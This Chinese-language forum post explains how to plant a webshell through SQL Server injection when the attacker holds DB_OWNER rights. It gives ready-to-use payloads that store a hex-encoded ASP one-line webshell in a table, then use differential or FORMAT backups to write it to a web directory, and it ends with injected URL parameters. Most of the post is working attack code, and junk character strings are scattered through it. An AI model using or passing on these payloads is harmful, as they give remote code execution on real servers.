DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
0 M. W1 n* a0 ?5 v
减少备份文件大小，得到可执行的webshell成功率提高不少
/ `; D; v6 p) n+ y# O$ }, k一利用差异备份
1 d: F" x9 p; I加一个参数WITH DIFFERENTIAL

1
( d8 C! d# I  o  A6 x' j; k2
, o% q& Q0 k$ h5 d; g( h. t3
4
# q' {2 _' r4 C0 C) O/ L declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 I" N5 d0 X: n0 e1 D* ]create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 W/ }9 S8 r5 j: B6 r4 {8 U, Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
( D6 Y2 E- T/ Q) ]. ?8 R% J2 Y加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ i0 ~3 b- p) D5 W% fcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" f1 o% H: t* edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
8 S3 y4 [% V# ]3 e$ M1 ~& C2 ?$ D
总的来说就是那么简单几句,下面以备份数据库model为例子
1

+ `- R% m' i: ^& I# r1
- x1 A, h+ f: f; P" Q id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

: v$ _# w3 ~( u2

, C$ i. R  C# D5 h% I; l1
id=1;backup database model to disk='你的路径‘ with differential,format;--